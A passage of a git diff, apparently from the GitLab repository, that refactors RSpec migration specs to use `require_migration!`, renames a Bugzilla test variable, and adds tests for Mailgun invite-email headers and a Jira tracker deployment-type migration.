- stub_experiments('members/invite_email': :permission_info)
-
- is_expected.not_to have_content('You are invited!')
- is_expected.to have_body_text 'What is a GitLab'
- is_expected.to have_body_text 'What can I do with'
- end
-
it 'has invite link for the control group' do
stub_experiments('members/invite_email': :control)
@@ -821,7 +816,7 @@ RSpec.describe Notify do
end
end
- context 'when there is no inviter' do
+ context 'when there is no inviter', :aggregate_failures do
let(:inviter) { nil }
it 'contains all the useful information' do
@@ -831,6 +826,19 @@ RSpec.describe Notify do
is_expected.to have_body_text project_member.invite_token
end
end
+
+ context 'when on gitlab.com' do
+ before do
+ allow(Gitlab).to receive(:dev_env_or_com?).and_return(true)
+ end
+
+ it 'has custom headers' do
+ aggregate_failures do
+ expect(subject).to have_header('X-Mailgun-Tag', 'invite_email')
+ expect(subject).to have_header('X-Mailgun-Variables', { 'invite_token' => project_member.invite_token }.to_json)
+ end
+ end
+ end
end
describe 'project invitation accepted' do
diff --git a/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb b/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
index 47f85df01ac..2999332509a 100644
--- a/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
+++ b/spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe MigrateIssueTrackersData do
services.create!(type: 'JiraService', properties: nil, category: 'issue_tracker')
end
- let!(:bugzilla_service) do
+ let!(:bugzilla_integration) do
services.create!(type: 'BugzillaService', properties: properties, category: 'issue_tracker')
end
@@ -55,7 +55,7 @@ RSpec.describe MigrateIssueTrackersData do
freeze_time do
migrate!
- expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_service.id, bugzilla_service.id)
+ expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_service.id, bugzilla_integration.id)
expect(migration_name).to be_scheduled_delayed_migration(6.minutes, youtrack_service.id, gitlab_service.id)
expect(BackgroundMigrationWorker.jobs.size).to eq(2)
end
diff --git a/spec/migrations/20191125114345_add_admin_mode_protected_path_spec.rb b/spec/migrations/20191125114345_add_admin_mode_protected_path_spec.rb
index 51f798220c3..222a000c134 100644
--- a/spec/migrations/20191125114345_add_admin_mode_protected_path_spec.rb
+++ b/spec/migrations/20191125114345_add_admin_mode_protected_path_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20191125114345_add_admin_mode_protected_path.rb')
+require_migration!('add_admin_mode_protected_path')
RSpec.describe AddAdminModeProtectedPath do
subject(:migration) { described_class.new }
diff --git a/spec/migrations/20191204114127_delete_legacy_triggers_spec.rb b/spec/migrations/20191204114127_delete_legacy_triggers_spec.rb
index 07c69872497..aba3a902888 100644
--- a/spec/migrations/20191204114127_delete_legacy_triggers_spec.rb
+++ b/spec/migrations/20191204114127_delete_legacy_triggers_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20191204114127_delete_legacy_triggers.rb')
+require_migration!('delete_legacy_triggers')
RSpec.describe DeleteLegacyTriggers, schema: 2019_11_25_140458 do
let(:ci_trigger_table) { table(:ci_triggers) }
diff --git a/spec/migrations/20200107172020_add_timestamp_softwarelicensespolicy_spec.rb b/spec/migrations/20200107172020_add_timestamp_softwarelicensespolicy_spec.rb
index 1377d5e6ba0..fff0745e8af 100644
--- a/spec/migrations/20200107172020_add_timestamp_softwarelicensespolicy_spec.rb
+++ b/spec/migrations/20200107172020_add_timestamp_softwarelicensespolicy_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200107172020_add_timestamp_softwarelicensespolicy.rb')
+require_migration!('add_timestamp_softwarelicensespolicy')
RSpec.describe AddTimestampSoftwarelicensespolicy do
let(:software_licenses_policy) { table(:software_license_policies) }
diff --git a/spec/migrations/20200122123016_backfill_project_settings_spec.rb b/spec/migrations/20200122123016_backfill_project_settings_spec.rb
index 9ae492a36aa..7fc8eb0e368 100644
--- a/spec/migrations/20200122123016_backfill_project_settings_spec.rb
+++ b/spec/migrations/20200122123016_backfill_project_settings_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200122123016_backfill_project_settings.rb')
+require_migration!('backfill_project_settings')
RSpec.describe BackfillProjectSettings, :sidekiq, schema: 20200114113341 do
let(:projects) { table(:projects) }
diff --git a/spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb b/spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb
index a6ef0b29461..9000d4b7fef 100644
--- a/spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb
+++ b/spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200123155929_remove_invalid_jira_data.rb')
+require_migration!('remove_invalid_jira_data')
RSpec.describe RemoveInvalidJiraData do
let(:jira_tracker_data) { table(:jira_tracker_data) }
diff --git a/spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb b/spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb
index 9ddf188b15e..1d3476d6d61 100644
--- a/spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb
+++ b/spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200127090233_remove_invalid_issue_tracker_data.rb')
+require_migration!('remove_invalid_issue_tracker_data')
RSpec.describe RemoveInvalidIssueTrackerData do
let(:issue_tracker_data) { table(:issue_tracker_data) }
diff --git a/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb b/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
index 9947718d11b..5516e2af3f1 100644
--- a/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
+++ b/spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200130145430_reschedule_migrate_issue_trackers_data.rb')
+require_migration!('reschedule_migrate_issue_trackers_data')
RSpec.describe RescheduleMigrateIssueTrackersData do
let(:services) { table(:services) }
@@ -22,7 +22,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
services.create!(id: 11, type: 'JiraService', properties: nil, category: 'issue_tracker')
end
- let!(:bugzilla_service) do
+ let!(:bugzilla_integration) do
services.create!(id: 12, type: 'BugzillaService', properties: properties, category: 'issue_tracker')
end
@@ -56,7 +56,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
freeze_time do
migrate!
- expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_service.id, bugzilla_service.id)
+ expect(migration_name).to be_scheduled_delayed_migration(3.minutes, jira_service.id, bugzilla_integration.id)
expect(migration_name).to be_scheduled_delayed_migration(6.minutes, youtrack_service.id, gitlab_service.id)
expect(BackgroundMigrationWorker.jobs.size).to eq(2)
end
@@ -70,7 +70,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
let!(:valid_issue_tracker_data) do
issue_tracker_data.create!(
- service_id: bugzilla_service.id,
+ service_id: bugzilla_integration.id,
encrypted_issues_url: 'http://url.com',
encrypted_issues_url_iv: 'somevalue'
)
@@ -78,7 +78,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
let!(:invalid_issue_tracker_data) do
issue_tracker_data.create!(
- service_id: bugzilla_service.id,
+ service_id: bugzilla_integration.id,
encrypted_issues_url: 'http:url.com',
encrypted_issues_url_iv: nil
)
@@ -86,7 +86,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
let!(:valid_jira_tracker_data) do
jira_tracker_data.create!(
- service_id: bugzilla_service.id,
+ service_id: bugzilla_integration.id,
encrypted_url: 'http://url.com',
encrypted_url_iv: 'somevalue'
)
@@ -94,7 +94,7 @@ RSpec.describe RescheduleMigrateIssueTrackersData do
let!(:invalid_jira_tracker_data) do
jira_tracker_data.create!(
- service_id: bugzilla_service.id,
+ service_id: bugzilla_integration.id,
encrypted_url: 'http://url.com',
encrypted_url_iv: nil
)
diff --git a/spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb b/spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb
index f16e7b483e9..6b1126ca53e 100644
--- a/spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb
+++ b/spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200313203550_remove_orphaned_chat_names.rb')
+require_migration!('remove_orphaned_chat_names')
RSpec.describe RemoveOrphanedChatNames, schema: 20200313202430 do
let(:projects) { table(:projects) }
diff --git a/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb b/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb
index 9950cc23889..c6a512a1ec9 100644
--- a/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb
+++ b/spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200406102120_backfill_deployment_clusters_from_deployments.rb')
+require_migration!('backfill_deployment_clusters_from_deployments')
RSpec.describe BackfillDeploymentClustersFromDeployments, :migration, :sidekiq, schema: 20200227140242 do
describe '#up' do
diff --git a/spec/migrations/20200511145545_change_variable_interpolation_format_in_common_metrics_spec.rb b/spec/migrations/20200511145545_change_variable_interpolation_format_in_common_metrics_spec.rb
index e42a448a01e..e712e555b70 100644
--- a/spec/migrations/20200511145545_change_variable_interpolation_format_in_common_metrics_spec.rb
+++ b/spec/migrations/20200511145545_change_variable_interpolation_format_in_common_metrics_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200511145545_change_variable_interpolation_format_in_common_metrics')
+require_migration!('change_variable_interpolation_format_in_common_metrics')
RSpec.describe ChangeVariableInterpolationFormatInCommonMetrics, :migration do
let(:prometheus_metrics) { table(:prometheus_metrics) }
diff --git a/spec/migrations/20200526115436_dedup_mr_metrics_spec.rb b/spec/migrations/20200526115436_dedup_mr_metrics_spec.rb
index 9d3851ed5b0..f16026884f5 100644
--- a/spec/migrations/20200526115436_dedup_mr_metrics_spec.rb
+++ b/spec/migrations/20200526115436_dedup_mr_metrics_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200526115436_dedup_mr_metrics')
+require_migration!('dedup_mr_metrics')
RSpec.describe DedupMrMetrics, :migration, schema: 20200526013844 do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/20200526231421_update_index_approval_rule_name_for_code_owners_rule_type_spec.rb b/spec/migrations/20200526231421_update_index_approval_rule_name_for_code_owners_rule_type_spec.rb
index 9f26b698158..9b72559234e 100644
--- a/spec/migrations/20200526231421_update_index_approval_rule_name_for_code_owners_rule_type_spec.rb
+++ b/spec/migrations/20200526231421_update_index_approval_rule_name_for_code_owners_rule_type_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200526231421_update_index_approval_rule_name_for_code_owners_rule_type.rb')
+require_migration!('update_index_approval_rule_name_for_code_owners_rule_type')
RSpec.describe UpdateIndexApprovalRuleNameForCodeOwnersRuleType do
let(:migration) { described_class.new }
diff --git a/spec/migrations/20200703125016_backfill_namespace_settings_spec.rb b/spec/migrations/20200703125016_backfill_namespace_settings_spec.rb
index 9ff88009d8a..c9f7a66a0b9 100644
--- a/spec/migrations/20200703125016_backfill_namespace_settings_spec.rb
+++ b/spec/migrations/20200703125016_backfill_namespace_settings_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200703125016_backfill_namespace_settings.rb')
+require_migration!('backfill_namespace_settings')
RSpec.describe BackfillNamespaceSettings, :sidekiq, schema: 20200703124823 do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/20200706035141_adjust_unique_index_alert_management_alerts_spec.rb b/spec/migrations/20200706035141_adjust_unique_index_alert_management_alerts_spec.rb
index 0068571ad0d..121b1729dd2 100644
--- a/spec/migrations/20200706035141_adjust_unique_index_alert_management_alerts_spec.rb
+++ b/spec/migrations/20200706035141_adjust_unique_index_alert_management_alerts_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200706035141_adjust_unique_index_alert_management_alerts.rb')
+require_migration!('adjust_unique_index_alert_management_alerts')
RSpec.describe AdjustUniqueIndexAlertManagementAlerts, :migration do
let(:migration) { described_class.new }
diff --git a/spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb b/spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb
index f9a56bf649d..761168ae609 100644
--- a/spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb
+++ b/spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200728080250_replace_unique_index_on_cycle_analytics_stages.rb')
+require_migration!('replace_unique_index_on_cycle_analytics_stages')
RSpec.describe ReplaceUniqueIndexOnCycleAnalyticsStages, :migration, schema: 20200728080250 do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/20200728182311_add_o_auth_paths_to_protected_paths_spec.rb b/spec/migrations/20200728182311_add_o_auth_paths_to_protected_paths_spec.rb
index e12519e15b8..5c65d45c6e0 100644
--- a/spec/migrations/20200728182311_add_o_auth_paths_to_protected_paths_spec.rb
+++ b/spec/migrations/20200728182311_add_o_auth_paths_to_protected_paths_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200728182311_add_o_auth_paths_to_protected_paths.rb')
+require_migration!('add_o_auth_paths_to_protected_paths')
RSpec.describe AddOAuthPathsToProtectedPaths do
subject(:migration) { described_class.new }
diff --git a/spec/migrations/20200811130433_create_missing_vulnerabilities_issue_links_spec.rb b/spec/migrations/20200811130433_create_missing_vulnerabilities_issue_links_spec.rb
index a821e4a43df..d166ff3617b 100644
--- a/spec/migrations/20200811130433_create_missing_vulnerabilities_issue_links_spec.rb
+++ b/spec/migrations/20200811130433_create_missing_vulnerabilities_issue_links_spec.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200811130433_create_missing_vulnerabilities_issue_links.rb')
+require_migration!('create_missing_vulnerabilities_issue_links')
RSpec.describe CreateMissingVulnerabilitiesIssueLinks, :migration do
let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
diff --git a/spec/migrations/20200915044225_schedule_migration_to_hashed_storage_spec.rb b/spec/migrations/20200915044225_schedule_migration_to_hashed_storage_spec.rb
index 20ba2fbccea..69f7525d265 100644
--- a/spec/migrations/20200915044225_schedule_migration_to_hashed_storage_spec.rb
+++ b/spec/migrations/20200915044225_schedule_migration_to_hashed_storage_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200915044225_schedule_migration_to_hashed_storage.rb')
+require_migration!('schedule_migration_to_hashed_storage')
RSpec.describe ScheduleMigrationToHashedStorage, :sidekiq do
describe '#up' do
diff --git a/spec/migrations/20200929052138_create_initial_versions_for_pre_versioning_terraform_states_spec.rb b/spec/migrations/20200929052138_create_initial_versions_for_pre_versioning_terraform_states_spec.rb
index 1a618712b32..34bd8f1c869 100644
--- a/spec/migrations/20200929052138_create_initial_versions_for_pre_versioning_terraform_states_spec.rb
+++ b/spec/migrations/20200929052138_create_initial_versions_for_pre_versioning_terraform_states_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200929052138_create_initial_versions_for_pre_versioning_terraform_states.rb')
+require_migration!('create_initial_versions_for_pre_versioning_terraform_states')
RSpec.describe CreateInitialVersionsForPreVersioningTerraformStates do
let(:namespace) { table(:namespaces).create!(name: 'terraform', path: 'terraform') }
diff --git a/spec/migrations/20201014205300_drop_backfill_jira_tracker_deployment_type_jobs_spec.rb b/spec/migrations/20201014205300_drop_backfill_jira_tracker_deployment_type_jobs_spec.rb
index 134bea6b666..ef9bc5788c1 100644
--- a/spec/migrations/20201014205300_drop_backfill_jira_tracker_deployment_type_jobs_spec.rb
+++ b/spec/migrations/20201014205300_drop_backfill_jira_tracker_deployment_type_jobs_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20201014205300_drop_backfill_jira_tracker_deployment_type_jobs.rb')
+require_migration!('drop_backfill_jira_tracker_deployment_type_jobs')
RSpec.describe DropBackfillJiraTrackerDeploymentTypeJobs, :sidekiq, :redis, schema: 2020_10_14_205300 do
subject(:migration) { described_class.new }
diff --git a/spec/migrations/20201027002551_migrate_services_to_http_integrations_spec.rb b/spec/migrations/20201027002551_migrate_services_to_http_integrations_spec.rb
index c1fbde69100..f9f6cd9589c 100644
--- a/spec/migrations/20201027002551_migrate_services_to_http_integrations_spec.rb
+++ b/spec/migrations/20201027002551_migrate_services_to_http_integrations_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20201027002551_migrate_services_to_http_integrations.rb')
+require_migration!('migrate_services_to_http_integrations')
RSpec.describe MigrateServicesToHttpIntegrations do
let!(:namespace) { table(:namespaces).create!(name: 'namespace', path: 'namespace') }
diff --git a/spec/migrations/20201028182809_backfill_jira_tracker_deployment_type2_spec.rb b/spec/migrations/20201028182809_backfill_jira_tracker_deployment_type2_spec.rb
index 658b26b1c49..0746ad7e44f 100644
--- a/spec/migrations/20201028182809_backfill_jira_tracker_deployment_type2_spec.rb
+++ b/spec/migrations/20201028182809_backfill_jira_tracker_deployment_type2_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201028182809_backfill_jira_tracker_deployment_type2.rb')
+require_migration!('backfill_jira_tracker_deployment_type2')
RSpec.describe BackfillJiraTrackerDeploymentType2, :sidekiq, schema: 20201028182809 do
let(:services) { table(:services) }
diff --git a/spec/migrations/20201110161542_cleanup_transfered_projects_shared_runners_spec.rb b/spec/migrations/20201110161542_cleanup_transfered_projects_shared_runners_spec.rb
index 8563114c9f9..7a79406ac80 100644
--- a/spec/migrations/20201110161542_cleanup_transfered_projects_shared_runners_spec.rb
+++ b/spec/migrations/20201110161542_cleanup_transfered_projects_shared_runners_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201110161542_cleanup_transfered_projects_shared_runners.rb')
+require_migration!('cleanup_transfered_projects_shared_runners')
RSpec.describe CleanupTransferedProjectsSharedRunners, :sidekiq, schema: 20201110161542 do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/20201112130710_schedule_remove_duplicate_vulnerabilities_findings_spec.rb b/spec/migrations/20201112130710_schedule_remove_duplicate_vulnerabilities_findings_spec.rb
index ff27bdcf12d..92a716c355b 100644
--- a/spec/migrations/20201112130710_schedule_remove_duplicate_vulnerabilities_findings_spec.rb
+++ b/spec/migrations/20201112130710_schedule_remove_duplicate_vulnerabilities_findings_spec.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201112130710_schedule_remove_duplicate_vulnerabilities_findings.rb')
+require_migration!('schedule_remove_duplicate_vulnerabilities_findings')
RSpec.describe ScheduleRemoveDuplicateVulnerabilitiesFindings, :migration do
let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
diff --git a/spec/migrations/20201112130715_schedule_recalculate_uuid_on_vulnerabilities_occurrences_spec.rb b/spec/migrations/20201112130715_schedule_recalculate_uuid_on_vulnerabilities_occurrences_spec.rb
index fce32be4683..dda919d70d9 100644
--- a/spec/migrations/20201112130715_schedule_recalculate_uuid_on_vulnerabilities_occurrences_spec.rb
+++ b/spec/migrations/20201112130715_schedule_recalculate_uuid_on_vulnerabilities_occurrences_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201112130715_schedule_recalculate_uuid_on_vulnerabilities_occurrences.rb')
+require_migration!('schedule_recalculate_uuid_on_vulnerabilities_occurrences')
RSpec.describe ScheduleRecalculateUuidOnVulnerabilitiesOccurrences, :migration do
let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
diff --git a/spec/migrations/20210112143418_remove_duplicate_services2_spec.rb b/spec/migrations/20210112143418_remove_duplicate_services2_spec.rb
index 9a57d9bf84d..289416c22cf 100644
--- a/spec/migrations/20210112143418_remove_duplicate_services2_spec.rb
+++ b/spec/migrations/20210112143418_remove_duplicate_services2_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210112143418_remove_duplicate_services2.rb')
+require_migration!('remove_duplicate_services2')
RSpec.describe RemoveDuplicateServices2 do
let_it_be(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/20210119122354_alter_vsa_issue_first_mentioned_in_commit_value_spec.rb b/spec/migrations/20210119122354_alter_vsa_issue_first_mentioned_in_commit_value_spec.rb
index 33b2e009c8d..469dbb4f946 100644
--- a/spec/migrations/20210119122354_alter_vsa_issue_first_mentioned_in_commit_value_spec.rb
+++ b/spec/migrations/20210119122354_alter_vsa_issue_first_mentioned_in_commit_value_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210119122354_alter_vsa_issue_first_mentioned_in_commit_value.rb')
+require_migration!('alter_vsa_issue_first_mentioned_in_commit_value')
RSpec.describe AlterVsaIssueFirstMentionedInCommitValue, schema: 20210114033715 do
let(:group_stages) { table(:analytics_cycle_analytics_group_stages) }
diff --git a/spec/migrations/20210205174154_remove_bad_dependency_proxy_manifests_spec.rb b/spec/migrations/20210205174154_remove_bad_dependency_proxy_manifests_spec.rb
index 7e351617ea3..cb48df20d58 100644
--- a/spec/migrations/20210205174154_remove_bad_dependency_proxy_manifests_spec.rb
+++ b/spec/migrations/20210205174154_remove_bad_dependency_proxy_manifests_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210205174154_remove_bad_dependency_proxy_manifests.rb')
+require_migration!('remove_bad_dependency_proxy_manifests')
RSpec.describe RemoveBadDependencyProxyManifests, schema: 20210128140157 do
let_it_be(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/20210210093901_backfill_updated_at_after_repository_storage_move_spec.rb b/spec/migrations/20210210093901_backfill_updated_at_after_repository_storage_move_spec.rb
index 52678111b48..1932bc00cee 100644
--- a/spec/migrations/20210210093901_backfill_updated_at_after_repository_storage_move_spec.rb
+++ b/spec/migrations/20210210093901_backfill_updated_at_after_repository_storage_move_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210210093901_backfill_updated_at_after_repository_storage_move.rb')
+require_migration!('backfill_updated_at_after_repository_storage_move')
RSpec.describe BackfillUpdatedAtAfterRepositoryStorageMove, :sidekiq do
let_it_be(:projects) { table(:projects) }
diff --git a/spec/migrations/20210226141517_dedup_issue_metrics_spec.rb b/spec/migrations/20210226141517_dedup_issue_metrics_spec.rb
index 043884eb7b2..6068df85e2e 100644
--- a/spec/migrations/20210226141517_dedup_issue_metrics_spec.rb
+++ b/spec/migrations/20210226141517_dedup_issue_metrics_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210226141517_dedup_issue_metrics.rb')
+require_migration!('dedup_issue_metrics')
RSpec.describe DedupIssueMetrics, :migration, schema: 20210205104425 do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb b/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb
index e1727cb2a1c..94ed2320c50 100644
--- a/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb
+++ b/spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210406144743_backfill_total_tuple_count_for_batched_migrations.rb')
+require_migration!('backfill_total_tuple_count_for_batched_migrations')
RSpec.describe BackfillTotalTupleCountForBatchedMigrations, :migration, schema: 20210406140057 do
let_it_be(:table_name) { 'projects' }
diff --git a/spec/migrations/20210413132500_reschedule_artifact_expiry_backfill_again_spec.rb b/spec/migrations/20210413132500_reschedule_artifact_expiry_backfill_again_spec.rb
index 4f36a95f9cf..78b6a71c609 100644
--- a/spec/migrations/20210413132500_reschedule_artifact_expiry_backfill_again_spec.rb
+++ b/spec/migrations/20210413132500_reschedule_artifact_expiry_backfill_again_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210413132500_reschedule_artifact_expiry_backfill_again.rb')
+require_migration!('reschedule_artifact_expiry_backfill_again')
RSpec.describe RescheduleArtifactExpiryBackfillAgain, :migration do
let(:migration_class) { Gitlab::BackgroundMigration::BackfillArtifactExpiryDate }
diff --git a/spec/migrations/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url_spec.rb b/spec/migrations/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url_spec.rb
new file mode 100644
index 00000000000..ea0a16212dd
--- /dev/null
+++ b/spec/migrations/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url_spec.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!('schedule_update_jira_tracker_data_deployment_type_based_on_url')
+
+RSpec.describe ScheduleUpdateJiraTrackerDataDeploymentTypeBasedOnUrl, :migration do
+ let(:services_table) { table(:services) }
+ let(:service_jira_cloud) { services_table.create!(id: 1, type: 'JiraService') }
+ let(:service_jira_server) { services_table.create!(id: 2, type: 'JiraService') }
+
+ before do
+ jira_tracker_data = Class.new(ApplicationRecord) do
+ self.table_name = 'jira_tracker_data'
+
+ def self.encryption_options
+ {
+ key: Settings.attr_encrypted_db_key_base_32,
+ encode: true,
+ mode: :per_attribute_iv,
+ algorithm: 'aes-256-gcm'
+ }
+ end
+
+ attr_encrypted :url, encryption_options
+ attr_encrypted :api_url, encryption_options
+ attr_encrypted :username, encryption_options
+ attr_encrypted :password, encryption_options
+ end
+
+ stub_const('JiraTrackerData', jira_tracker_data)
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+ end
+
+ let!(:tracker_data_cloud) { JiraTrackerData.create!(id: 1, service_id: service_jira_cloud.id, url: "https://test-domain.atlassian.net", deployment_type: 0) }
+ let!(:tracker_data_server) { JiraTrackerData.create!(id: 2, service_id: service_jira_server.id, url: "http://totally-not-jira-server.company.org", deployment_type: 0) }
+
+ around do |example|
+ freeze_time { Sidekiq::Testing.fake! { example.run } }
+ end
+
+ it 'schedules background migration' do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(2)
+ expect(described_class::MIGRATION).to be_scheduled_migration(tracker_data_cloud.id, tracker_data_cloud.id)
+ expect(described_class::MIGRATION).to be_scheduled_migration(tracker_data_server.id, tracker_data_server.id)
+ end
+end
diff --git a/spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb b/spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb
index 1588cec0258..3b462c884c4 100644
--- a/spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb
+++ b/spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210423160427_schedule_drop_invalid_vulnerabilities.rb')
+require_migration!('schedule_drop_invalid_vulnerabilities')
RSpec.describe ScheduleDropInvalidVulnerabilities, :migration do
let_it_be(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
diff --git a/spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb b/spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb
index 3e57ffb4729..03ce0a430e5 100644
--- a/spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb
+++ b/spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb
@@ -1,15 +1,15 @@
# frozen_string_literal: true
-
+#
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210430134202_copy_adoption_snapshot_namespace.rb')
+require_migration!('copy_adoption_snapshot_namespace')
-RSpec.describe CopyAdoptionSnapshotNamespace, :migration do
+RSpec.describe CopyAdoptionSnapshotNamespace, :migration, schema: 20210430124630 do
let(:namespaces_table) { table(:namespaces) }
